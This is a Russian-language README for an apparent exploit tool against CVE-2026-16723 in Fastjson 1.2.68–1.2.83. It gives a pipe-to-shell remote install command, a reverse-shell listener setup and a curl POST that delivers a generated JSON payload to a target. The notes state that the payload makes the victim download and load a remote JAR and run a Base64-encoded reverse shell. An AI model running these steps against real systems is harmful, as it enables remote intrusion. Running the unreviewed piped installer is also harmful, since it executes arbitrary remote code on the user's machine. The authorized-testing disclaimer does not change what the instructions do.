Эксплойт для CVE-2026-16723

Автономная реализация на C++17 для CVE-2026-16723 — критической уязвимости, затрагивающей Fastjson версий 1.2.68 – 1.2.83.

Требования

• Linux (или WSL на Windows)

• Компилятор с поддержкой C++17 (GCC 7+ или Clang 5+)

• CMake 3.10 или новее

• Системные пакеты:

  • libzip-dev
  • zlib1g-dev

Debian / Ubuntu

sudo apt update
sudo apt install -y build-essential cmake libzip-dev zlib1g-dev

---

Установка

Быстрая установка (рекомендуется)

Установите всё одной командой:

curl -sSL https://raw.githubusercontent.com/1xPwn/CVE-2026-16723/main/install.sh | bash

Или скачайте и запустите установщик вручную:

wget https://raw.githubusercontent.com/1xPwn/CVE-2026-16723/main/install.sh
chmod +x install.sh
./install.sh

Скрипт установки выполнит следующие действия:

• Установит все необходимые системные пакеты.

• Скачает требуемые библиотеки, состоящие только из заголовочных файлов:

  • nlohmann/json
  • cpp-httplib

• Соберёт проект.

• Разместит скомпилированный бинарный файл в текущем каталоге под именем:

./exploit

---

Ручная сборка

Если вы клонировали репозиторий:

git clone https://github.com/1xPwn/CVE-2026-16723.git
cd CVE-2026-16723
./install.sh

Или соберите вручную:

mkdir build
cd build

cmake ..
make -j$(nproc)

cp exploit ../

---

Использование

Запустите бинарный файл:

./exploit --lhost <YOUR_IP> --lport <SHELL_PORT> [options]

Пример

./exploit --lhost 192.168.1.100 --lport 4444 --http-port 8000

После выполнения будут созданы следующие файлы:

x
body.json

HTTP-сервер запустится на заданном порту (по умолчанию: 8000), и инструмент будет ожидать входящего подключения обратной оболочки.

---

Отправка полезной нагрузки

Отправьте сгенерированный файл body.json на уязвимую конечную точку:

curl -X POST http://<TARGET_IP>:8080/api/products/search \
     -H "Content-Type: application/json" \
     --data-binary @body.json

Если приложение ожидает другое JSON-поле, укажите его с помощью опции --field.

---

Параметры командной строки

Параметр	Описание	По умолчанию
--lhost	Локальный IP-адрес	Обязательно
--lport	Порт прослушивания обратной оболочки	4444
--http-port	Порт HTTP-сервера	8000
--first	Первый дескриптор файла для перебора	3
--last	Последний дескриптор файла для перебора	30
--field	Имя JSON-поля	facets
--outdir	Каталог для вывода	.
-h, --help	Показать сообщение справки	—

---

Выходные файлы

Файл	Описание
x	Сгенерированная JAR-полезная нагрузка
body.json	JSON-полезная нагрузка для отправки на цель

---

Примечания

• Этот проект предназначен только для авторизованного тестирования безопасности и образовательных целей.
• Реализация заставляет целевое приложение скачать и загрузить удалённый JAR с помощью протоколов jar:http и jar:file.
• Команда обратной оболочки кодируется в Base64, чтобы уменьшить проблемы с экранированием.

Подписывайтесь на меня в Twitter(X)

• MNM